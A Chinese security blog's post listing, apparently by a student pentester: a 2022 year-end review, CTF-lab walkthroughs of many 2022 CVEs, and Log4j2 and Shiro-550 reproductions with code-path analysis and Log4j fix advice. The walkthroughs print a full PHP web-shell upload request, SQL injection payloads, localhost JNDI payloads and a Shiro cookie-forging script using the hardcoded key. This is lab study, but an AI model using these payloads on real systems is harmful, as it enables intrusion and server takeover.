搜索到
36
篇与
noob
的结果
-
![2022年年度总结]()
2022年年度总结 每次写总结的时候脑中都会疯狂的回放年前各种黑历史，但不总结就废了… 年初去基地实训，本以为能压下心来好好备研，却发现完全做不下去，时不时的挖洞、复现新洞，于是早早放弃了考研…由于没有自己做过详细的职业规划，当时的我以为秋招是23年，导致后续的计划完全打乱…四月份收到了百度的庆典邀请函，办了张去澳门的签注，这算是那段时间最让我激动的消息了。后面开始学java，尝试去复现一些漏洞，跟着b站up主复现了一些旧rce，但始终没有学进去，感觉认识了但不会用，还是停留在之前挖src点到为止的思维中，直到面试和后面实习才意识到错过了很多本可以深入尝试的机会。在基地最好的回忆还是每天下午围着基地听歌散步，走八圈减不了肥，但是能很好的驱散当时懒惰的态度。 当时还想着去参加hw，从四月开始准备面试，到hw延迟，到七月选择回基地而不是出去实习(前面没明白秋招是22年的伏笔)，但是要求视频网课，彻底打乱了我想去hw+基地课的打算，解锁大学四年没有hw成就。后面就开始了找各家面试实习，然后准备秋招，面了很多家，有很多大佬真的让我意识到我耽误了很多时间，投入到了一些微不足道的事情中，浅的不能再浅的k8s和存储桶的学习，让我膨胀的以为自己在学云，明明基础知识都不懂，一些很简单的但要会的东西一个都答不上来，linux都没玩明白，从没有尝试自己去学习、记忆什么，只是不停的重复自己已经会了的东西，后来江老师帮忙投了现在在实习的公司，认识了几位老师，每位老师都强的一批，我一上午没研究出来的不完全回显rce，老师不到五分钟给全回显了，信手拈来，他们通过平时的项目教会了我很多东西，在思路上做的指导也让我避开了很多弯路，之前嚷嚷着要学内网到实习前都不会的内网，现在也有一个自己去操作的思路了，我仍然会感受当时拿到第一个shell时内心的激动心情，那是从未有过的即使在src也没有见到的rce。相比于自己前半年的学习来说，这两个月的进步完全是两个层级，实际操作收获的东西比之前的学习强太多了。 今年在src方面的突破也有了很多突破，今年十一月连出三个rce，十二月控到一台64g主机，虽然最后的审核结果不是很好，但对于自己来说，能在src挖到rce就已经是极大的突破了，而且，相比于去年，今年单洞的平均赏金也高了不少，相对于去年占比较多的逻辑漏洞，今年更多的是任意文件读取、存储桶类漏洞更多，希望23年能降低挖洞的时间成本，优化自己的挖掘思路，有时间了尽量搞个扫描器，自动化还是太香了。 这一年本来是彻底失败的一年，由于自己的懒+从不认真规划导致的严重后果要在大三这个节骨眼无限放大的时候，遇到了很多帮助我的师傅，江佬、feng佬的指导让我尽快入了门，赶上实习面试成功之后，又遇到了很棒的老师，让我在工作过程中很好的提升自己。23年就要毕业了，不管遇到什么困难，只要自己尽力做到最好，尽人事.jpg，尝试摆脱懒狗的习惯，慢慢的勤起来吧。 -
![春秋云镜免费靶场记录10.12]()
春秋云镜免费靶场记录10.12 CVE-2022-23366(Hospital Management Startup 1.0 sqli)参考链接：https://github.com/nu11secur1ty/CVE-mitre/tree/main/2022/CVE-2022-23366注入点在登陆口，直接跑sqlmapCVE-2022-23316(taoCMS v3.0.2 存在任意文件读取漏洞)参考链接：https://github.com/taogogo/taocms/issues/15admin/tao弱口令登陆后，在编辑处，path参数未做参数校验，因此可以跨目录读取，直接../../../../flag读取flagCVE-2022-23134(Zabbix setup 访问控制登录绕过)没做出来。。。CVE-2022-23043(Zenario CMS 9.2 文件上传漏洞)参考链接：https://fluidattacks.com/advisories/simone//admin.php口使用admin/adminqwe12登陆,进去发现无法安装，环境有问题，下一题CVE-2022-22965(Spring Framework JDK >= 9 远程代码执行漏洞)参考链接：https://packetstormsecurity.com/files/download/166713/CVE-2022-22965-main.zip使用工具，写入shell获取flagCVE-2022-22963(Spring Cloud Function functionRouter SPEL代码执行漏洞)很怪，能打dnslog，但是外带、反弹shell都失败了，只能做到这了 -
![春秋云镜免费靶场记录10.11]()
春秋云镜免费靶场记录10.11 CVE-2022-25578(taocms v3.0.2允许攻击者通过编辑.htaccess文件执行任意代码)参考链接：https://github.com/taogogo/taocms/issues/28访问加/admin，在F12中看到admin/tao弱口令，登陆在文件管理中看到.htaccess文件，直接编辑修改,但是感觉环境有问题，改了就连不上了，本着拿flag的原则，直接改index.php写个马就行了蚁剑连接CVE-2022-25488(Atom CMS v2.0 sql注入漏洞)参考链接：https://github.com/thedigicraft/Atom.CMS/issues/257没啥思路，不知道参数，搜下cve，发现还是id，是常规的数字型注入,源码如下：view-source:http://eci-2zebeyjwvgoqkmovtx00.cloudeci1.ichunqiu.com/admin/ajax/avatar.php?id=-1%20union%20select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27--+跑了一通，依然没有数据，血压拉满了属于是，我就当做ctf题一样，去扫了下目录，发现了uploads的目录遍历和/admin/uploads.php的文件上传接口虽然访问php报错而且这里也是一个注入点，然后我构造一个文件上传的html来传马，传上去之后发现目录下多出来了一个php文件蚁剑连接获取flagCVE-2022-25411(Maxsite CMS文件上传漏洞)参考链接：https://github.com/maxsite/cms/issues/487爆破密码admin/admin888登陆添加白名单本来想按照他的方式做，删掉.htaccess，但是那样网站就挂了，所以，直接找了个地方传马上传成功，蚁剑连CVE-2022-25401(Cuppa CMS v1.0 任意文件读)参考链接：https://github.com/CuppaCMS/CuppaCMS/issues/32payload直接打CVE-2022-25099(WBCE CMS v1.5.2 RCE)参考链接：①https://github.com/WBCE/WBCE_CMS/issues/446②https://github.com/WBCE/WBCE_CMS/issues/447弱口令admin/123456登陆，找到Add-ons->languages，选择install可以成功传入php文件，并且会解析php文件，返回内容，所以直接输出flag即可或者可以直接修改设置，允许php文件上传，在settings->server settings中可以进行设置上传成功,蚁剑连CVE-2022-24263(Hospital Management System sqli)参考链接：https://github.com/kishan0725/Hospital-Management-System/issues/17注册后发现了绝对路径，可以写shell了这次库里终于有ctf了，感动~，轻松拿flagCVE-2022-24223(AtomCMS SQL注入漏洞)参考链接：https://github.com/thedigicraft/Atom.CMS/issues/255又一个注入，直接sqlmap，但是估计没有flag，跑一下试试，有flag，直接拿CVE-2022-23880(taoCMS v3.0.2 任意文件上传漏洞)参考链接：①https://github.com/casdoor/casdoor/compare/v1.13.0...v1.13.1②https://github.com/casdoor/casdoor/issues/439根据复现没有成功，所以先修改个index.php写马拿flag,同上 -
![春秋云镜免费靶场记录10.10]()
春秋云镜免费靶场记录10.10 CVE-2022-23906(CMS Made Simple v2.2.15 RCE)参考链接：http://dev.cmsmadesimple.org/bug/view/12502访问/admin，以admin/123456登陆，在内容->File Manager中找到文件上传点上传文件上传成功后，选中文件点击copy，按下图配置复制文件并命名为xxx.php成功后可以看到多出了刚才的php文件，直接获取flag即可或者蚁剑链接，获取flagCVE-2022-30887(Pharmacy Management System shell upload)参考链接：https://packetstormsecurity.com/files/166786/Pharmacy-Management-System-1.0-Shell-Upload.html上传poc：POST /php_action/editProductImage.php?id=1 HTTP/1.1 Host: eci-2zeiqdtozk9gx9az693a.cloudeci1.ichunqiu.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type:multipart/form-data;boundary=---------------------------208935235035266125502673738631 Content-Length: 566 Connection: close Cookie: Hm_lvt_2d0601bd28de7d49818249cf35d95943=1662902354,1664078966,1664530891,1665378480; chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O; ci_session=ec8193cd25017f638aa167cee7298e97339ab2de; Hm_lpvt_2d0601bd28de7d49818249cf35d95943=1665384728; PHPSESSID=qbsbo3njtcrhucddoaf7cvd8ah Upgrade-Insecure-Requests: 1 -----------------------------208935235035266125502673738631 Content-Disposition: form-data; name="old_image" -----------------------------208935235035266125502673738631 Content-Disposition: form-data; name="productImage"; filename="shell.php" Content-Type: image/jpeg <?php if($_REQUEST['s']) { system($_REQUEST['s']); } else phpinfo(); ?> </pre> </body> </html> -----------------------------208935235035266125502673738631 Content-Disposition: form-data; name="btn" -----------------------------208935235035266125502673738631--看到success后，访问/assets/myimages/shell.php?s=cat%20/flag读取flagCVE-2022-29464(WSO2文件上传漏洞)参考链接：https://github.com/hakivvi/CVE-2022-29464访问链接cat/flag即可CVE-2022-28525(ED01-CMS v20180505 存在SQL注入漏洞)搜索编号得知漏洞点在：/admin/users.php?source=edit_user&id=1因此对id进行操作，直接sqlmap梭哈就能注出所有结果，但是没有flag，看到前面的介绍，属实很难绷得住，于是对上传点进行操作发现没任何过滤，直接传一个phpinfo发现解析，然后传一句话直连即可CVE-2022-28512( Fantastic Blog (CMS) SQL注入)参考文章：https://github.com/JiuBanSec/CVE/blob/main/Fantastic%20Blog%20CMS/SQL1.md直接访问single.php,加单引号看到报错探测字段长度,为9探测回显字段,为2和4直接注即可sqlmap也可以成功# 获取库名 id = "%27%20union%20select%201,database(),3,user(),5,6,7,8,9--+-" # 获取表名 id = "%27%20union%20select%201,group_concat(table_name),3,user(),5,6,7,8,9%20from%20information_schema.tables%20where%20table_schema=%27ctf%27--+-" # 获取列名 id = "%27%20union%20select%201,group_concat(column_name),3,user(),5,6,7,8,9%20from%20information_schema.columns%20where%20table_name=%27flag%27--+-" # 获取数据 id = "%27%20union%20select%201,flag,3,user(),5,6,7,8,9%20from%20ctf.flag--+-" CVE-2022-32991(Web Based Quiz System SQL注入)需要注册账号才可以，注册后登陆，在welcome.php中尝试p无果，点击start抓包，对step尝试无果，在eid中尝试发现问题获取数据库长度后面直接布尔盲注就可，上sqlmapCVE-2022-28060(Victor CMS v1.0 存在sql注入)参考链接：https://github.com/JiuBanSec/CVE/blob/main/VictorCMS%20SQL.md登陆尝试万能密码成功登陆，说明有sql注入，对user_name进行测试后续脚本可以跑出所有内容，但是找不到flag，这个没啥别的思路了，下一题CVE-2022-26965(Pluck-CMS-Pluck-4.7.16 后台RCE)参考链接：https://www.youtube.com/watch?v=sN6J_X4mEbY搜索CVE，得知是通过更新主题将压缩包中的webshell写入到服务器并解析的，因此找一个主题，在任意php文件下写入一句话木马，上传后拼接/data/themes/xxx/xxx.php即可访问shell，具体操作如下上传主题位置（主题下载链接：https://github.com/pluck-cms/themes）：修改任意主题：打包后上传，然后蚁剑连接：或者浏览器访问获取flag -
![Log4j2(CVE-2021-44228)漏洞复现]()
Log4j2(CVE-2021-44228)漏洞复现 原理Apache log4j 2是一个就Java的日志记录工具。存在JNDI注入漏洞，当程序记录用户输入的数据时，即可触发该漏洞。成功利用该漏洞可在目标服务器上执行任意代码。环境jdk7u21Apache Log4j 2.x <= 2.15.0-rc1分析调用栈exec:483, Runtime (java.lang) <init>:-1, Exploit10Q2cCwLFy newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect) newInstance:57, NativeConstructorAccessorImpl (sun.reflect) newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect) newInstance:525, Constructor (java.lang.reflect) newInstance0:374, Class (java.lang) newInstance:327, Class (java.lang) getObjectFactoryFromReference:163, NamingManager (javax.naming.spi) getObjectInstance:188, DirectoryManager (javax.naming.spi) c_lookup:1086, LdapCtx (com.sun.jndi.ldap) p_lookup:544, ComponentContext (com.sun.jndi.toolkit.ctx) lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx) lookup:203, GenericURLContext (com.sun.jndi.toolkit.url) lookup:94, ldapURLContext (com.sun.jndi.url.ldap) lookup:411, InitialContext (javax.naming) lookup:172, JndiManager (org.apache.logging.log4j.core.net) lookup:56, JndiLookup (org.apache.logging.log4j.core.lookup) lookup:198, Interpolator (org.apache.logging.log4j.core.lookup) resolveVariable:1060, StrSubstitutor (org.apache.logging.log4j.core.lookup) substitute:982, StrSubstitutor (org.apache.logging.log4j.core.lookup) substitute:878, StrSubstitutor (org.apache.logging.log4j.core.lookup) replace:433, StrSubstitutor (org.apache.logging.log4j.core.lookup) format:132, MessagePatternConverter (org.apache.logging.log4j.core.pattern) format:38, PatternFormatter (org.apache.logging.log4j.core.pattern) toSerializable:341, PatternLayout$PatternSerializer (org.apache.logging.log4j.core.layout) toText:240, PatternLayout (org.apache.logging.log4j.core.layout) encode:225, PatternLayout (org.apache.logging.log4j.core.layout) encode:59, PatternLayout (org.apache.logging.log4j.core.layout) directEncodeEvent:197, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender) tryAppend:190, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender) append:181, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender) tryCallAppender:156, AppenderControl (org.apache.logging.log4j.core.config) callAppender0:129, AppenderControl (org.apache.logging.log4j.core.config) callAppenderPreventRecursion:120, AppenderControl (org.apache.logging.log4j.core.config) callAppender:84, AppenderControl (org.apache.logging.log4j.core.config) callAppenders:543, LoggerConfig (org.apache.logging.log4j.core.config) processLogEvent:502, LoggerConfig (org.apache.logging.log4j.core.config) log:485, LoggerConfig (org.apache.logging.log4j.core.config) log:460, LoggerConfig (org.apache.logging.log4j.core.config) log:82, AwaitCompletionReliabilityStrategy (org.apache.logging.log4j.core.config) log:162, Logger (org.apache.logging.log4j.core) tryLogMessage:2190, AbstractLogger (org.apache.logging.log4j.spi) logMessageTrackRecursion:2144, AbstractLogger (org.apache.logging.log4j.spi) logMessageSafely:2127, AbstractLogger (org.apache.logging.log4j.spi) logMessage:2003, AbstractLogger (org.apache.logging.log4j.spi) logIfEnabled:1975, AbstractLogger (org.apache.logging.log4j.spi) error:732, AbstractLogger (org.apache.logging.log4j.spi) main:22, log4j2rce (log4j)使用Logger.error()报错，写入payload并打下断点，开始debug可以看到我们的payload存入了message中也就是说，我们需要查看调用方法对于message的操作，error()调用了logIfEnabled()方法，跟进后可以看到进行了一个if判断，isEnabled()是查看是否规则，判断为true，进入logMessage()方法，调用logMessageSafely()方法，跟进跟进后发现调用logMessageTrackRecursion(),跟进后，看到tryLogMessage()对message进行了操作，跟进看到是一个异常处理结构，调用Logger.log()报错进行了处理，跟进查看，发现调用AwaitCompletionReliabilityStrategy.log()方法对message进行处理，跟进跟进后，看到调用LoggerConfig.log()方法，跟进，这里mseeage变成了data并存入了event，这里就是将之前的报错存入event并调用重写的log()方法,跟进可以看到调用processLogEvent()方法对event进行处理，跟进跟进后，看到调用callAppenders()对event进行了处理，跟进，看到将信息存入一个数组，并对数组通过callAppender()进行了处理，跟进该方法，发现调用callAppenderPreventRecursion()进行了处理，继续跟进，可以看到调用claaAppender0()方法进行处理，跟进，发现调用AppenderControl.tryCallAppender()，跟进跟进后看到调用tryAppend()，继续跟进，调用AbstractOutputStreamAppender.directEncodeEvent()方法，跟进，看到PatternLayout.encode()对event进行了处理，跟进，调用toText()处理，跟进后，看到对event进行了序列化处理，跟进toSerializable()方法进入到toSerializable()方法，进入循环，调用PatternFormatter.format()处理event的每一段信息，这里我在处理到i=8时，调用MessagePatternConverter.format()这里是对$和{}进行处理，可以看到获取到长度之后，调用了StrSubstitutor.replace()方法，跟进查看，发现处理后会调用substiute()方法，并返回值，跟进跟进后发现是一个很长的方法，大概的意思就是对刚才截取到的$和{}进行处理，而且这里是个递归处理，可以在方法体中看到对substiute()做了第二次调用，这里调用的目的就是为了防止处理一次之后仍然存在$和{}，然后持续步进直到处理完成，可以看到之前输入的payload已经没有了$和{}处理完之后，payload在varName中，然后看到调用resolveVariable()方法对varName进行处理，跟进，发现了lookup()被调用并处理了event，跟进可以看到Interpolator.lookup()对去掉$和{}的event进行了处理，如图，先是识别前缀为jndi，然后获取上面的jndi，然后继续向下处理，来到value这里，查看值为false，所以是进入第二个lookup进行处理，跟进，看到了调用，然后就看到了JNDI注入点了，结束其他支持的类在走到resolveVariable()时，我们可以看到getVaribleResolver()方法，跟进后，在他的strLookupMap中可以看到支持的前缀记录等级看大佬讲解，像之前百度搜索引擎直接可以打到dnslog，显然并不是由于报错导致的，也能攻击成功，这里说明了非报错也被记录了，因此去看下原因。在logIfEnabled()处，跟进isEnabled()方法，再跟进filter()方法，看到有一个intLevel和level.intLavel的比较，此处我们使用什么类型的信息，intLevel就会是什么记录等级，而level.intLevel是我们设置的记录等级，因此要想触发一些类型的信息，可以修改记录等级，或者是log4j2.xmlimport org.apache.logging.log4j.Level; import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; import org.apache.logging.log4j.core.config.Configurator; public class Test { private static Logger logger = LogManager.getLogger(Test.class); public static void main(String[] args) { Configurator.setLevel("Test", Level.INFO); logger.info("${jndi:ldap://127.0.0.1:1389/Basic/Command/Base64/b3BlbiAtbmEgQ2FsY3VsYXRvcgo=}"); } }log4j2.xml修改 <?xml version="1.0" encoding="UTF-8"?> <Configuration status="warn" name="MyApp" packages=""> <appenders> <console name="STDOUT" target="SYSTEM_OUT"> <PatternLayout> <pattern>%d %p %c{1.} [%t] $${ctx:loginId} %m%n</pattern> </PatternLayout> </console> </appenders> <Loggers> <Root level="info"> <AppenderRef ref="STDOUT"/> </Root> </Loggers> </Configuration>复现监听1389端口payload:*LOGGER*.error("${jndi:ldap://127.0.0.1:1389/Basic/Command/Base64/Y2FsYw==}");修复建议升级 Apache Log4j2 所有相关应用到最新的 log4j-2.15.0-rc2 版本升级 JDK 版本，建议 JDK 使用 11.0.1、8u191、7u201、6u211 及以上的高版本，从根源上杜绝大部分常规的 JNDI 注入临时措施在 jvm 参数中添加 Dlog4j2.formatMsgNoLookups=true 【针对 2.10.0 及以上的版本】系统环境变量中将FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS设置为true 【针对 2.10.0 及以上的版本】创建log4j2.component.properties 文件，文件中增加配置 log4j2.formatMsgNoLookups=true【针对 2.10.0 及以上的版本】限制受影响应用对外访问互联网 -
![Shiro550漏洞复现]()
Shiro550漏洞复现 原理由于用于存储用户信息的RememberMe参数在加密处理时进行了AES加密、Base64加密、序列化处理，因此可以通过伪造该值将恶意代码写入导致Shiro550反序列化漏洞环境jdk1.8shiro-root-1.2.4分析加密过程当用户登录时，为DefaultSecurityManager.login()，会触发onSuccessfulLogin()方法然后在下方看到调用rememberMeSuccessfulLogin()方法，查看该方法可知进行请求就会调用AbstractRememberMeManager.onSuccessfulLogin()方法，查看方法可以看到选择存储RememberMe的就会走下面的if，就会调用rememberIdentity()方法，继续跟进可以看到在这里先调用了AbstractRememberMeManager.convertPrincipalsToBytes()跟进之后就能看到serialize()和encrypt()方法了分别进行分析，先看DefaultSerializer.serialize()，跟进，发现了这里序列化的处理再看AbstractRememberMeManager.encrypt()方法，此处是对已经序列化的参数进行了处理，如果不为空的话就调用JcaCipherService.encrypt()方法，在这之前有一个getEncryptionCipherKey()方法，直接跟进，直到看到调用的已被写死的key，如下图然后返回头继续看JcaCipherService.encrypt()方法，此时对ivBytes有一个处理，但是跟进没看明白。。。先继续往下，完成校验之后，会调用重载的encrypt()可以看到这里就会输出值output，也就是最终的结果，通过crypt()获取到bytes数组获取bytes数组的整个过程AbstractRememberMeManager.rememberIdentity()→AbstractRememberMeManager.rememberSerializedIdentity()→AbstractRememberMeManager.convertPrincipalsToBytes()→AbstractRememberMeManager.encrypt()→output解密过程前面login和onSuccessfulLogin基本相同，但是没找到从哪里调用的，于是直接从刚才找到encrypt()方法的类里找到decrypt()方法，看有谁调用了他然后就走到了AbstractRememberMeManager.getRememberedPrincipals()方法，可以看到在if里对convertBytesToPrincipals()方法进行了调用，先看上面对bytes数组获取的方法，发现bytes就是base64了获取的setcookie的值然后回过头来看AbstractRememberMeManager.convertBytesToPrincipals()方法，先对获取的bytes进行解码，然后再反序列化处理，于是跟进devrypt()方法如图，类似加密方法，同样是通过getDecryptionCipherKey()获取了默认的key值，然后再在JcaCipherService.decrypt()中进行了处理，跟进如图，对bytes值进行了一系列的处理，先是对iv的处理，类似于加密然后返回值到decrypt()中，在这里，将获取的decrypted值调用crypt()方法进行处理回到最开始的convertBytesToPrincipals()方法，查看DefaultSerializer.deserialize()也就是反序列化的处理，如图，直接发现漏洞触发点readObject()，整个过程结束通过该流程进行解码CookieRememberMeManager.rememberSerializedIdentity()→CookieRememberMeManager.getRememberedSerializedIdentity()→AbstractRememberMeManager.getRememberedPrincipals()→AbstractRememberMeManager.convertBytesToPrincipals()→AbstractRememberMeManager.decrypt()→JcaCipherService.decrypt()→JcaCipherService.crypt()复现import org.apache.shiro.crypto.AesCipherService; import org.apache.shiro.codec.CodecSupport; import org.apache.shiro.util.ByteSource; import org.apache.shiro.codec.Base64; import java.io.BufferedWriter; import java.io.FileWriter; import java.nio.file.FileSystems; import java.nio.file.Files; public class ShiroRememberMeExp { public static void main(String[] args) throws Exception { byte[] payloads = Files.readAllBytes(FileSystems.getDefault().getPath("F:/test/payload/urldns.ser")); AesCipherService aes = new AesCipherService(); byte[] key = Base64.decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA==")); ByteSource ciphertext = aes.encrypt(payloads, key); BufferedWriter out = new BufferedWriter(new FileWriter("payload.txt")); out.write(ciphertext.toString()); out.close(); System.out.println("OK"); } }生成序列化数据放到cookie中重放数据包弹计算器
